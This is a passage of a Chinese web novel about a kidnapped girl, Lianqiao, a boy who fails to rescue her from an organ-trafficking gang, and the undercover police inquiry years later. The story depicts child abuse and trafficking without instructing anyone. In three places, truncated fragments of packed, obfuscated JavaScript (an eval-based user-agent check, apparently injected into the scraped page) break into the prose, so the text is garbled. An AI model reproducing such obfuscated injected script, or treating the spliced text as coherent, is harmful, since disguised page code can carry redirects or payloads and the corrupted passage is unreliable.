正东街的一条小巷子里,男孩从窗户里探出脑袋,“你很害怕?你在躲坏蛋吗?” 弓腰喘气的连翘抬头看他,他的脸白白净净的,但身上的衣服……应该和她一样刚从某个窟窿洞里钻过,灰不溜秋的。 她还未回答,男孩率先冲出屋子把她拉进去,“跟我来!” 齐磊带着人走入这条巷子,他微眯着眼,仔细地打量每一间房,闯入屋子,查看有没有连翘的踪影。 男孩捂住连翘的嘴巴,凑到她眼前,轻声细语地说:“嘘——别出声,他们马上就走了。” 女孩的心提到了嗓子眼让,怦怦直跳,慌乱不已,她实在太害怕了,她不敢相信再被抓回去,自己会面临怎样的后果。 像偷听到的对话一样,被挖掉所有的器官吗? 齐磊等人没有看到连翘的下落,撤出屋子,又到下一间房去搜。 男孩松开捂住女孩的手,像个小大人,一脸坚定,“放心,他们已经走了,你安全了。” 女孩不解地盯着他,出于警惕,往后退了半步蹲着,“你是谁?为什么要帮我?” “我是这里的小恶霸,我偷偷溜出来,是来找我妈妈的。” “你妈妈去哪儿了?” 男孩想了很久,不知道该怎么解释,只能胡乱说一通,“我也不知道,反正她不要我了,我昨天好像看到了她,我想去找她,问问她为什么不要我。” “对了,你又是哪家的孩子?做了什么事,为什么他们要抓你?” 孩子之间的感觉总是异乎灵敏,某种直觉告诉她,眼前的小男孩一定不是坏人。 连翘说:“我的家不在这里,我是被他们拽来这里的。他们是坏人,要把我们卖给别人,如果没卖出去,他们就要剖开我们的身体,把我们的器官卖到更远的地方去。” “这里居然有这么坏的坏蛋!” 男孩按住女孩的肩,“你别怕!我保护你,你的家在哪儿?我送你离开这里。等我把你安全送回你家以后,我再继续找我妈妈。” 女孩问道:“你身上有钱吗?我想坐车走。” 男孩想了想,该怎么说呢?他背着奶奶,抠里抠搜,好不容易才攒了点儿私房钱,难道真的全都要花在这个素不相识的小女孩身上吗? 可是她真的好可怜,遇到的人都好坏,他要是不帮她,就没人帮她了。 男孩一本正经地上下打量她一番,眼睛大大的,嘴巴小小的,梳着辫子,像个洋娃娃。 长得倒是……挺吸引小男孩。 他顿了顿,挪开目光,“也行,不过你以后可以得还我的。” “好,还你,我一定还你。” 女孩激动地拉住他的衣角,满眼期待。 男孩侧着脑袋,瞄她一眼,小小年纪,在钱这件事上,倒是算得很明白,没有轻易被女色蛊惑。 “那我可是要加倍的哦?” “好,也没问题,我答应。” 注意到连翘嘴巴干得快起皮,肯定是很久没喝过水,男孩跑到楼上找店老板要了一碗水,端给她,又偷偷溜回自己家,偷出来一碗热混沌给她吃。 女孩坐在后门台阶上,这里很隐蔽,不会被人发现。 男孩坐在她旁边。 “我奶奶晚上要出去散步,到时候我就下手把我的私房钱全偷出来,你就在出门左拐的桥洞下等我怎么样?我把私房钱拿出来以后,就送你去车站。” 连翘狼吞虎咽吃下这碗热乎乎的馄饨,真好吃,味道和记忆中妈妈做的一样好吃。 她回答男孩:“好。” - 离开的时候,突然下起大暴雨。 男孩嘱咐桥洞下的女孩,“你躲在这里一定要小心,如果白天的坏人来了,你就沿着这快小木板爬到河对岸去,把木板撤掉,这样那些人就不会立刻追得上你。” “如果我没来,你就沿着右手边这条顺兴街往下走,看见一户挂着‘仲’字的房,就躲进去,那儿是我奶奶家。” 男孩又找来竹筐把她遮挡好,若不刻意看,不会被人发现。 这里距离车站最近,是他能想到的最好的藏身点。 大雨滂沱,越下越大,男孩冒着大雨直接跑回去,风雨无阻。 女孩躲在废弃的水缸里,透过竹筐的缝隙看他渐渐远去。 她突然觉得自己好奇怪,为什么会相信一个跟自己一样还没长大的男孩? 难道是因为——他们都在努力找家人? - 男孩半路上就有些不对劲,回到家以后更是差点直接栽倒。 做完饭的奶奶擦身出来,吓得赶紧把他拖到床上去,换了身干净衣裳。 他一天天的瞎胡闹,从来没给老人省心。 可谁曾想,男孩刚躺下,又挣扎着下床,跑到抽屉里的存钱罐里取钱,说什么也要出门。 奶奶阻止他:“你看看你都什么样了,还出去?浑身烫得跟个火球似儿的,老实待着,让奶奶背你去医院。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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男孩又摔了一跤,大雨冲刷他的身躯,他皱眉忍痛,翻身还想爬起来继续跑。 老人家又急又怕地追上他,担心不已,“空山呐——你听话,跟奶奶回去好不好?你再不去医院,万一出点岔子,你让奶奶可怎么办呐。” 他目光刚毅,咬紧牙往前走,“不要,奶奶,我得带小妹妹去车站,这是我答应她的。我必须做到。” 每一步都那么沉重,每一步都那么不容动摇。 “什么小妹妹,你怕是糊涂了。” 奶奶跟着他,帮他打着伞,怎么劝他都不听。 — 许是在废弃水缸里等得有些久,连翘从水缸里探出脑袋,推开遮掩自己的竹编栏和蒲扇叶子,眨眨眼看周遭的状况。 小哥哥还没有来。 她从水缸里爬出去,想要看看外面的情况如何了。 男孩告诉她,他回家一趟,来回最多二十分钟,可眼下半个小时快过去了,还是没见他来。 她凭着记忆,沿着他临走时手指的方向往前走,男孩说——他的家就在前面,她往这边走,也许路上就能碰到他。 连翘用刚才的枯黄蒲扇页盖着肩膀和脑袋,大雨虽滂沱,但她还是毅然决然地走入大雨中。 她想,自己绝不能坐以待毙。 女孩走啊走,果不其然,在一个拐角处见到了男孩。 只是他看上去情况不太好,像是刚摔了一跤,身上被淋湿,手肘膝盖都磕破了皮。 他还在挣扎着从地上爬起来。 距离她还有一个路口的距离。 女孩欣喜,顾不上那么多,想要朝他跑去。 可下一秒,一双大手忽然从后面把她拽住。 她回头,一脸惊悚,仿佛看见了噩梦。 是光头男。 连翘惊慌失措地大喊救命,光头男把她拎起来,她的双脚离地,只能扑腾两手两脚拼命挣扎。 她看着不远处的男孩拼命大喊:“哥哥——救我——快救救我!” 可是暴雨下得实在太大,模糊了街头,也模糊了目光。 雾气笼罩这条街道,喧嚣的雨声哗啦啦盖过了连翘求救的声音。 无论女孩怎么喊,怎么挣脱,远处快要昏倒的男孩仍是未能听见她的声音。 老太太见男孩没力气趴在地上,吓得连忙把伞甩开,把他抱起来,着急喊道:“空山呐,醒醒,你别吓奶奶——” 老人家急得快哭了。 男孩全身上下滚烫,实在没有力气,他的眼皮重得抬不起来,躺在老人家的怀里,一只小手紧紧拽住老人家的衣角,声音低弱。 “奶奶……我好像听到小妹妹在喊我,你快救她,去救她……” 老太太就算一口咬定男孩在说胡话,但她还是照做了,她看看四周,放眼望去,并未看见男孩所说的什么妹妹。 齐磊已经捂住连翘的嘴巴把她带走了。 老太太又急又担心,“空山呐,你听话,奶奶先带你去诊所看看好不好,等你好起来,我就带你去找你说的小妹妹。” 随着连翘求救的声音消逝在这条烟雨朦胧的街巷中,男孩也彻底昏迷,失去意识。 等他再次醒来,已是一天后。 45. 第 45 章 男孩一醒来就迫切追问:“奶奶,小妹妹呢?有没有小妹妹来找你?” 老人家摇头,有些疑惑:“没有人来我们家呐。” 二话不说,男孩掀开被子跳下床,飞快朝桥洞跑去,可是等他跑到那儿的时候才发现,水缸、枯黄的蒲扇叶、竹编栏……一切的一切全都在,可是唯独那天的小妹妹不见了。 他慌张地朝四周张望,一边寻找,一边呼喊,可仍然未见其人。 她到底去哪儿了呢? 是不是遇到危险了? 男孩格外自责,如果他能再坚持一会儿,坚持到把钱送到桥洞,女孩是不是就可以安全地离开这里。 都是因为他。 他想,如果女孩找别人帮忙,一定会顺利很多。都怪他——太没用了,非要在关键时候体力不支,发烧昏迷。 直到半个月以后,镇里才传来消息,说警方端掉了一个拐卖团伙的据点,但不幸的是,那些被拐来的孩子全都被送去了解剖场,被丧尽天良的犯罪分子挖出器官,生命永远停止在八九岁的年纪。 男孩不信,他更加懊悔,更加自责。 从那以后,他总是做着关于暴雨天的噩梦,每一次他都从梦里惊醒。 在梦里,他看见记忆里的小女孩就在自己眼前,只要他一伸手,就可以触碰到,可是每次当他想要伸出手拉住她逃的时候,暴雨突然更加肆虐。 硕大的雨水打在他的身躯,如瀑布般的雨冲刷他们两人之间的连接,慢慢地,女孩突然变得格外遥远。 他拼命地伸手去拉她,可总是徒劳一场。 再后来,这个男孩做了清流镇的一个小霸王,所到之处总有厌恶憎恨他的人。 他听说镇长西街那边有户人家的女儿是收养回来的,年纪和记忆中的小妹妹差不多大,他就悄悄跑到人家屋顶去,想要看看是不是记忆中的小妹妹回来了。 可小妹妹没回来,他反倒撞上赵旭摩想要强.暴少女。 他二话不说就报复回去,那是第一次,他和赵旭摩结下梁子。 再后来,他听说镇长边界外的一座庙里来了个流浪孤儿,没地儿去,便躲进庙里睡觉,吃庙里供奉的水果。 这次会不会是小妹妹回来了呢? 男孩不知道。 但他想去看看。 可是还没走远,他就听说庙里起火了,里面的孤儿被活活烧死,而纵火的人恰恰就是赵旭摩。 那是第二次,他和赵旭摩结下梁子。 男孩虽然嘴上不说,活得大大咧咧,没心没肺,但实际上,他从来没有忘记过那天的暴雨,更从来没有忘记过自己的过错。 他的梦总是被愧疚所主宰。 — “孩子,你在想什么呢?” 老太太走到她面前挥挥手,连翘这才回过神来,她笑了笑,解释:“没什么。” 奶奶继续把话说完。 “那段时间,他总做噩梦,每次都重复着同样的话。” “他说——对不起。” “他说——奶奶,我本可以把她带走的,可我没有把她从地狱里带出来。我对不起她。” 老太太的神情同样愧疚不已,“其实也怪我,当初如果我没有当他在说胡话,没有拦他,说不定,那天他是可以救下那孩子的,说不定啊……那孩子就不会被带去活生生解剖了。” 连翘怔住。 直到今天她才终于明白,原来当年的那男孩没有骗她。 他有按照约定去找她。 只是命运给他们开了一个小小的玩笑,让他们被暴雨冲走,拐了个弯,直到多年以后又再重逢。 他来了,只是迟到了几年。 当初,她好长一段时间里都憎恨着男孩,恨他为什么没有听见自己的求救,恨他为什么不能早点儿来。 现在她明白了——他来过,甚至不顾一切地来找她。 所有误会在此刻烟消云散,连翘心里是意外的,同样也是欣喜的。 她欣喜,兜兜转转饶了好大一个圈,她和他又重新绕回来,再见到彼此。当初来寻找她的那个约定,李空山从来都没有失信。 连翘走到老太太面前,浅浅笑着,安抚她:“奶奶,这事儿不怪你,我相信,当年的这个小女孩一定福大命大,活了下去。” - 一切安置妥当以后,连翘便从奶奶家离开,准备回去。 这么多年过去了,清流镇还是老样子。 红砖黛瓦房连成一片,弯弯绕绕的小路旁偶有良田,电线桩牵连成线,鸟雀飞过时,与背景墙蓝天相映成画。 她走在街上,不时看看左右两侧的楼房,有的因修建年代已久,瓦砾跌落,房梁倒塌,无人问津;有的虽年生不久,但房屋外已积灰。 双桥前的农贸市场路口,养白鸽的老大爷推窗透气,白鸽低下脑袋觅食,夕阳的余晖洒在楼房上半部分。 自阴阳线分割,宛如斜切一刀。 此时有不少饭后散步的居民出来走动,再穿过前面这条巷子,连翘就快到了。 此时再看清流镇,一切是那么陌生又熟悉。 她刚整顿好自己的心情,换轻快的步子继续往前。 前面不远处,卖酒的老板娘穿着围裙,正把一个二十多岁的小伙子往外赶,“去去去,一边儿去,没几个钱来买什么酒啊,看你穿得人模人样,结果没几个钱,真是扫兴。” 老板娘手里拿着扫帚打青年的腿,非得把他彻底撵到大街上,她才肯罢休,扔下扫帚,愤慨转身回去。 青年躲躲闪闪,直到老板娘把扫帚扔下,他才彻底松口气。 他剪着平头,眉眼清俊,穿着入乡随俗的灰上衣黑麻裤,可即便如此,也依然掩盖不了他绝非本地人的气质。 青年拍拍裤腿上的灰尘,并没有生气,只是自顾自絮叨:“这儿的人都怎么回事,一个个的能动手就不动口,素质还是欠缺了点啊。” 他退到大街中央,抬起头仔细地巡视这家店的招牌,嘴里出声:“纯正梁家酒……” 势必要记住这家店,拉入黑名单,下次再也不来这儿了。 不就是没多少钱嘛,至于嘛…… 青年拍完灰尘,扭头往马路侧边看,只见背着杏色书包、扎着低马尾、眼眸深邃的女孩站在原地盯着自己看。 她在干嘛?看他的笑话? 青年有些心虚,毕竟刚才被赶出来的场景可不体面,相当损害形象。 连翘眨了眨眼,波澜不惊,宛若将他视作空气一般,若无其事地继续迈着步子往前走。 “诶……你等等。” 青年跑上去叫住她,“看你这样子,是在上学是吧?像你这种还在读书的乖孩子,肯定是不会骗大哥哥的,大哥哥给你打听点儿事如何?” 他满怀期待地看着女孩,坚信任何人都无法抗拒他的魅力拒绝他。 连翘不情不愿地看向他,忍不住皱眉,一脸嫌弃,“你什么时候成我大哥哥了?出门在外,别随便套近乎。” 她不欲再搭理他,直接往前走。 见状,青年连忙跑过去拦住她,“诶,你别急嘛,我就是跟你打听个事儿,很简单。” “你是外地人,刚来这里,人生地不熟?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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连翘看着眼前这个精神恍惚、大白天的在这儿自个儿抱自个儿的男人,发自内心想真把他当“医院里跑出来的人”。 “没事。”青年回神,一脸坚定,仿佛短短一秒钟的功夫,他已经治好了自己内心的创伤。 他把左脚踩在街道边的花坛砖上,声音加快,不再像刚才装腔作势那般拖拖拉拉。 “好,咱们说正事啊,我就是想跟你打听个人,你知道田永贵不?就你们这里特别爱赌的赌鬼,田永贵儿。” 连翘盯着他,心里有自己的考量。 过了一会儿,她摇头,开口说:“不认识。他是欠了你钱是吧?你在这儿找他没用的,他早就躲到其他地方去了。” “我知道,但我不是来找他还钱的,我就是跟你打听打听他这个人。” 青年思考了下,把脚放下来,重新站好,“诶,这样吧,小妹妹,你要是对田永贵这个人了解得比较多呢,你就把你知道的全告诉我,大哥哥给你买糖吃。” 连翘忍不住又想给他翻白眼。 “你当我是三岁小孩啊。” 她迈脚离去。 青年惊慌,赶紧拦住她:“哎别走啊,我跟你开玩笑呢。这么着吧,我跟你再说直接点,田永贵家里不是还有个女孩吗,你知道这女娃娃什么来头不?真是他从他小姨家领养的?” 连翘惶恐地停下脚步。 46. 第 46 章 “你打听田永贵想做什么?” 孙阚平迟疑了下,他不可能告诉她实话,于是随便找个理由。 “我是田永贵他小姨亲戚,他小姨当年觉得亏欠这孩子,这不,就让我来看看这女娃娃这些年过得怎么样。” “说谎。田永贵根本没有亲戚,更没有什么小姨,你到底是谁?想做什么?” 好,孙阚平得到想要的答案了。 既然是这样,那么田永贵在说谎,他户口本上的孩子根本就不是他领养而来的。 更有可能是——买。 目的已经达成,孙阚平轻松不少,整个人突然变得正经,“哦,这样啊,我明白了。不过——” 他反应过来,这女孩好像对田永贵家里的情况了解一点都不少。 孙阚平两手叉腰,反过来,像个家长一般教训她。 “哎我说你这个小妹妹,你刚才还说你不认识田永贵呢,现在又哐啷啷的能说一大堆关于他的事?你们很熟?” 连翘抿起嘴角,不服气地盯着他,“你套我的话。” 孙阚平神清气爽,骄傲自满,“哎,这话可说的不对啊,这最多只能算我——足智多谋。” “我看你这样子也是个学生,你们这附近就隔壁镇一所高中,那你在学校里面听没听过田永贵户口上的那女娃娃,她名字就叫连-翘。” 她冲孙阚平扬起一抹礼貌的笑,神情从容,“不好意思,不认识,没见过。” 孙阚平裤兜里的手机铃声突然响起,他拿出来看一眼,是“他”打来的。 再一抬头,刚才背着书包的女孩已经一溜烟跑远,不见踪影。 他“啧”了声,无奈笑笑,拐进一条幽静隐蔽的巷子里,接通一直响铃的来电。 孙阚平整个人的气度瞬间变得格外沉稳,与方才神神叨叨的他判若两人。 他低下头,低语:“喂,陆队,是我。就目前掌握的线索来看,我们基本可以排除这个叫连翘的女孩是田永贵领养的。当年贲诸的司机承认见过田永贵,那他一定和329拐卖案有关。我怀疑——当年被孟老歪拉去解剖贩卖器官的孩子里,有活下来的。” 电话那头,身着警服的陆平安望着窗外,神情凝重,“此事你还需查清楚,邻省刚传来消息,贲诸的人又开始有所活动,他们销声匿迹多年,无影无踪,警方多方排查都无果。上头交代我们这次务必要将他们捉拿归案,一个都不能放过。阚平——” 陆平安的手按住窗台,格外用力,“贲诸的残余势力还在清流镇,你这次去一定不要暴露身份,摸查清楚那儿的情况,随时同组织联系。” “明白。” 孙阚平凝视地面,目光坚毅,“陆队,还有一件事。” “什么事?” “我见到田永贵户口本上他买回去的那叫连翘的女娃娃了。如果她恰好是十年前我们最后一次行动被拐去清流镇中转的那批孩子里的幸存者,说不定她对我们后续的行动有所帮助,我想申请调查她。” “我批准了。” - 连翘回去的时候,李空山还没回来。 最近黑武会收债的事情比较忙,他已连续好几天很晚才回来。 再过几个月,她就要高考了。 她站在窗前,望着眼前古老的合欢树发呆,忍不住想,高考之后呢? 她真的要一走了之,抛下这里的一切吗? 可是这里有对她很好的李空山,有非常真诚的好朋友,小海、楼巩、魏可萱……她真的能做到一切都没发生过吗? 她自己也不清楚。 但是她从来都没有忘记过自己的目的。 她会离开这里,一定会。 对她而言,这里就像噩梦,无数个日日夜夜里缠住她,让她恐惧过去,也恐惧明天。 她要逃离这个地方。 - 门外传来脚步声,令人熟悉的脚步声。 连翘收拾心情,转身欣喜跑到门口迎接,“你回来啦?” 只见李空山两只手提着连翘最喜欢喝的牛奶,神情自若,“怎么样,今天晚上没有让你等太久吧,吃饭没?” 连翘摇头,“我也才回来,还没呢。” “正好。” 李空山把东西放下,“我带你去个地方。” 沿着弯弯曲曲的小路往上走,就能到达天桥。 天桥坐落于两山之间,又长又宽,但由于上来的路有些难走,来这里的人不多,常常是一些爱调皮捣蛋的学生。 因此,李空山打小就没少来这儿。 连翘倒是第一次来。 站在这里,可以窥见整个清流镇,它依托着蜿蜒的河流,供养着出生在这里的一代又一代人。 人们汇聚在这里,日复一日地生活。 妇人忙碌着一日三餐,每天送孩子上下学,男人在外打拼,做生意的做生意,搬砖干水泥匠的干水泥匠,哐哐作响的麻将馆、汪汪叫不停的门外小狗、从不迟到的日出和夕阳…… 他们不会走出去,也鲜有外人到这儿来,好像一生就是这样了,又好像不是。 从天桥上望下去,清流镇缩小许多,家家户户灯火通明,落于丘陵间,清流河从镇子中央穿过,缓缓流淌向远乡。 她眺望远处的镇子,挪不开眼,原来以前她自认为一直困着她、怎么都逃不出的镇子,其实在群山之间,也显得渺小。 女孩的目光最后落在镇子外的马路上,这是通往外界的唯一一条路。她知道,不久以后她就会独自一人踏上这条道。 “怎么样,这儿景色可以吧?” “很漂亮,可以看到整个清流镇。” 天桥很高,连翘刚站上来的时候,还有点害怕,不过李空山一路拉着她,她慢慢也就不怕了。 连翘偏头看李空山,少年望着远方,身躯笔直,心绪飘远。 “李空山,你现在还想找你妈妈吗?” 他想也不想就回答:“不。” 她看得懂他的嘴硬,但不会拆穿。 “那……你家里还有你妈妈的照片吗?你妈妈叫什么名字?我的意思是,说不定以后在某个地方我会碰见你的妈妈呢。” “少来。她可是助纣为掠的坏人,帮着那些犯罪团伙干事情,现在逃到哪儿去了都不知道,你遇到她不是什么好事。” 他摊开手,交叉放在后脑勺,无所谓说:“我几岁的时候她就抛下我跑了,我们家压根就没她照片,反正我只知道她叫狄曼妮。” “狄曼妮……” 记忆里的女人,别人都唤她云姐,连翘想,她们不是同一个人。 她不打算告诉李空山暴雨中,女孩视角下的另一个故事,她只想把这些永远藏在心里。 她所欣赏、仰慕的李空山,仅仅只是当下这个真诚、骄傲的他。 无关过去,无关痛痒。 李空山笑着偏头看她,“风景看够没,看够了我就带你去吃东西吧,你肚子肯定饿了。” 连翘也不再多想,轻轻一笑,应声回答:“好。” 李空山带她沿着来时的路下山。 连翘盯着路面,一路沉默,过了会儿,她出声。 “李空山,其实你带我来这里,是有心事对不对?只是你一直没敢开口。” 她想不通有什么事能让一向天不怕地不怕的李空山如此犹豫,举棋不定。 但看着他藏满心事的眼眸,她好像又能突然明白。 走在前面的少年停下脚,无奈耸肩,笑着说:“这么快就被你看出来,也太没意思了吧。” 天桥修建在两山山顶,连接两山,他们还没有走到尽头。桥的边沿同样也是大石头,宽宽的,不高,既是护栏,也是可以坐的石凳。 但毕竟这里太高,有些危险,连翘陪着他走到山下的大马路,才停下来让他说心事。 恰好马路边有户农家乐,店铺已关,不过庭院外太阳伞下的圆桌圆椅倒是给他们提供了一个好去处。 她拉着他坐下来,左手按住他的肩,凑到他眼前轻声问:“到底怎么了?你好像一直闷闷不乐的。” “也不算闷闷不乐吧。” 李空山嘴硬,侧着脑袋盯了眼前的池塘好一会儿,才继续说,“就是有一件事,我拿不准。做也不是,不做也不是。” “什么事?” 李空山吸一口气,一鼓作气说:“我跟你说实话吧,赵旭摩那家伙跟我一直不对付,真正的原因是我给他结下梁子以后,抓了□□去他家想整蛊他,结果爬到屋顶恰好听到了他爸的秘密。” “他爸,也就是我们的镇长,把国家拨下来修路修小学、建房建农场、资助贫困农民的钱,贪污了一半以上。” “后来我就一直派人暗中搜集证据。他三天两头找我麻烦,无非就是怕我真搜集到点儿什么。虽然我不说,但是他也感受到了我手里的确有东西,他害怕。” “尧尧,你说——我应该管这件事,把我手里的东西交出去,让赵书誉受到应有的惩罚吗?” 连翘懂李空山在担心、顾虑什么。她把椅子往前挪,靠他更近些,埋着头,抬起眼眸注视懊恼又为难的他。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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牵挂的人不止一个,所以他担心自己保护不过来,担心自己没有保护好他们所有人。 他对身边的人越在乎,便越担心、怀疑自己能不能有十足的把握。 “我当然知道你是认真的。” 连翘安抚他,拍拍他的手,“好啦,你放一百个心。有你在我们身边,我们肯定会平安无事的,再说了,我们也很厉害的呀,我们还可以自己保护好自己,又不是小朋友,不需要你一直保护。” 这些日子,李空山除了摸查赵书誉的底细外,他还无意间发现赵书誉的弟弟赵本奇背后也藏着秘密。 甚至——不比赵书誉简单。 因此,他担心挖出赵本奇秘密的那天,真正丧心病狂的赵本奇什么都能做出来。 他心高气傲,在连翘面前,非要她承认只有他能做保护所有人的老大,才肯罢休。 “不行,你们都是我罩着的,必须得由我保护。要是哪天我连你们都保护不了,那我李空山也太没用了。” “是是是,好好好,你最了不起,你肯定可以。” 连翘张开手,“抱一个吧,给你力量和信心。你一定可以护着我们,大家都会平安无事的,小海和楼巩他们希望你放心大胆去做,不用顾虑,我也是。” “好。” 少年笑了下,嘴角蔓延着抑制不住的幸福和笑意,像个傲娇鬼,心高气傲地抱了她一下。 如蜻蜓点水,还没捅破窗户纸的两人点到为止,礼貌地抱了下以后又放开。 但其实,他还想再抱抱她,哪怕多一小会儿,也行。 但其实,她也是这么想的。 他看着蹲在自己眼前的女孩,假装云淡风轻,“今天你跟我说这些,谢谢了啊。” “不用谢——” 女孩歪着头,冲她扬起一抹恬淡的笑容。 身后的如茵绿草和泛起涟漪的池塘,徐徐微风,万物的一切,在少年的眼里,也只是她的衬托。 他蓦然想起最初招摇撞骗的老头算命时对他说的那句话—— “我赌你这辈子,离不开她了” 他想,我这辈子,真的离不开她了。 连翘起身,身上活力无限,朝她伸出手,“走吧李空山,我们回去,我想吃你做的蛋炒饭。” “好——我们回去。” 他的眼里满是宠溺和爱意,不知从什么时候起,他看她的眼神,一直都这样。 如果可以,他想和她有以后,很多个,无数个以后。 47. 第 47 章 夜深了。 连翘躺在床上,怎么也睡不着。 从前的记忆就像洪水猛兽一样裹挟她,在喧嚣和汹涌中,仿佛就要被吞噬。 那是一个像噩梦一样的从前。 - 光头男把抓回来的连翘扔进车子,沿着山路一路向前,最后开到一栋隐蔽的瓦房停下。 屋子里跑出两个伙计接应。 连翘被这两个人扔进库房里,除了她以外,在场的还有其他八个跑掉后又被抓回来的女孩。 她落寞地看着她们,想不明白为什么所有人都被重新抓回来了……为什么她们中一个都没有跑掉? 难道刚燃起的希望又要转瞬即逝吗? 其余女孩子缩着脑袋,躲避男人们的目光,她们的双手双脚被捆住,一个都不敢吭声儿,每个人身上伤痕累累。 有个女孩甚至因伤势太重,倒在地上,脸色苍白,似乎生命就要走到终点。 这些女孩刚被抓回来的时候,齐磊带着人把他们全都毒打了一顿,大声骂:“跑啊,继续跑啊,把你们的腿都打断,看你们还怎么跑!” 他下手没个准数,女孩的腿被打得站不起来。 不过他也不在乎,反正如今已经破罐子破摔了。 孟老歪的人会按约定,于今夜十二点重新过来取人。 对他来说,留住命就行,其他的不重要。 当初帮助她们跑出去的女人呢? 也不知道她现在怎么样。 连翘扫视周围,未能见她人影。 她希望这个阿姨能够平安无事。 — 门再次被关上,屋子密不透风,严严实实,连只老鼠也钻不出去。 等齐磊带着手底下的人离开以后,一头齐肩短发的女孩朝连翘挪去,“这么多天没见他们带人回来,我还以为你跑掉了。看来……我们真的要全都死在这个地方。” “萤火虫姐姐,你为什么也没跑掉,你是怎么被他们发现的?” 齐肩短发女孩回答她,“那天跑出去以后,我就一直跑一直跑,没有停下来过,最后没了力气晕倒在一家农人的院子前,他们人很好,把我带回去,给我吃的喝的。只是我刚醒来没多久,这些坏人就找上门来了。” 光头男一脸凶样,手底下带着的人也各个抄着家伙,他们堵住农人的院子和门,逼他们把女孩交出来。 躲在屋里的女孩很害怕。 但这户人家是很好的人,他们说什么也不承认见过女孩,更不愿意妥协交出她。 但齐磊这些人是没有心的人渣。 他们对着农人又踢又打,打得鼻青脸肿,快要半死了,最后一次问他:“到底把不把人交出来!” 农人的妻子陪着女孩躲在里面,急得快哭了,女孩看着抱住自己的农妇的眼泪滴落在自己的脸上,盯着屋外快要被这些混蛋打死的农人。 突然,她冲了出去,“我跟你们走,你们放过他们。” 于是,女孩就这样又重新被带了回来。 她不是不想活下去,更不是不想逃得越远越好,可是爸爸妈妈从小教育她要做一个善良的人,她无法眼睁睁看着农人因为自己被打死。 至于别的女孩,则各有各的原因,不是因为躲得不够隐蔽被发现,就是因为跑到一半没力气被抓回去。 总之,短短一日之日,她们跑不远,而贲诸和齐磊也会想法设法把她们抓回来。 跑掉任何一个对他们来说都是巨大的损失。毕竟——一具可供解剖的人体在孟老歪那儿可是能卖得不少好价钱。 够他们几年吃香的喝辣的,衣食无忧。 连翘为萤火虫姐姐感到惋惜,同样也无比憎恨这些坏人,他们暴打农人,连无辜的人也下得去手。 “那你呢?” 齐肩短发女孩在刚刚抓回来的时候也被毒打过,血迹染红衣襟,大大小小的伤口触目惊心,说话的声音无力且虚弱。 “你为什么会被他们发现?” 连翘突然变得格外生气,她嘟着嘴,气鼓鼓地瞪着脚下的稻草,“因为我遇到了一个骗子,我错信了骗子!” 短发女孩捉摸不透其中的含义,转而问她别的事情。“好吧。你在我们这些小孩里最聪明,你有没有别的办法让我们逃出去?刚才那些坏蛋说今晚十二点肢解人体挖器官的人就要来,我们再不逃出去,就真的只有死路一条了。” 连翘低下头,声音变得低弱,“对不起,萤火虫姐姐,我没有办法。” 她之所以要叫这个齐肩短发穿着公主裙和皮鞋的女孩为“萤火虫姐姐”,是因为司机开货车去往清流镇的路上,她们被关暗无天日的火车里,黑漆漆的一片,不知道要被送去哪儿,未知的恐惧席卷着她。 短发女孩见连翘害怕地一个人蜷缩着角落里,便偷偷拿出她放在玻璃瓶子里的萤火虫,送给连翘,“你抱着它们,就不会怕黑了。” 她不知道她的名字,从此便以“萤火虫姐姐”一名称呼她。 忽然,暗室的门被打开,齐磊轮着棒子走进来,一把抓起连翘往外走。 短发女孩着急喊:“你们要做什么!” “做什么?当然是打她一顿,给她涨涨教训!这一趟可没少让我们好找!” 果然,被抓回来的每一个人都不会幸免逃脱这顿毒打。 连翘挣扎着,恨自己为什么长个儿长得慢,不然她就可以一脚踹开光头男的脸,而不是任由他这样轻轻松松一只手就把自己拎起来。 齐磊把连翘甩到角落里,抡起棒子就朝她打下去,她的手臂,她的背,她的肚子和腿,无一幸免,全都挨了棍子。 她的手臂将自己环住,背靠着墙,一声不吭,血慢慢从破开的伤口处渗出,哪怕每一次棒子打下来真的很疼,可是她还是咬紧牙,绝对不哭。 她不要哭给这帮混蛋看。 哪怕她的嘴都被咬出血。 “你们别再打了……” 除了短发女孩,没有一个人敢出声,不然,光头男不高兴了,肯定还会把她们拉过来一起收拾。 “姐姐……你……别管我。” 连翘闭着眼睛,努力用最后一点儿清晰的目光去看她。 因找连翘耗费的时间精力最多,因而光头男打她最恨,下手惨重,棍棍用蛮力,根本没把棍子下的当孩子看待。 短发女孩心一横,扑上来咬住齐磊的手臂,齐磊吃痛,停下打连翘的动作,转身把身上的短发女孩甩下来。“臭玩意儿,给我滚开!” 齐磊二话不说就捡起地上的棍子,准备朝已经满身是伤的短发女孩打下去,连翘盯着他举在半空中的手,瞄准时机,扑过去挡在短发女孩的身上。 替她挨了她本该自己挨下的这一棒。 齐磊显然是没有兴致,“呸”了一声,骂道:“倒霉玩意儿”。 他朝地上吐了下口水,愤怒地砸门离去,“臭玩意儿,你们等着瞧,看我怎么收拾你们。” 连翘身上全是红印子,东一块西一块的肿,她把短发女孩扶起来,“姐姐你怎么样?” “我没事。” 在连翘的搀扶下,她们一起回到最里面的墙角待着。 对面,缩在另一个角落里的女孩聚在一起,最中间的青色衣服女孩不屑出声讽刺,“都死到临头了还在这儿演姐妹情深,装给谁看。” 连翘抬起头,那双水灵灵的眼眸里充斥着愤恨,像对铜铃,瞬间充满杀伤力,“没求你看,谁让你自己长了双眼睛。” “你——” 青色衣服女孩气得站了起来,不服气地盯着她,但又找不到话回怼,只好重新坐下。 她算是伤势较轻的那个,其余大多数人已经被打得站不起来,走路也得拖着一条腿走。 谁让这些女孩挨打的时候——青色衣服的女孩投机躲在最后面。 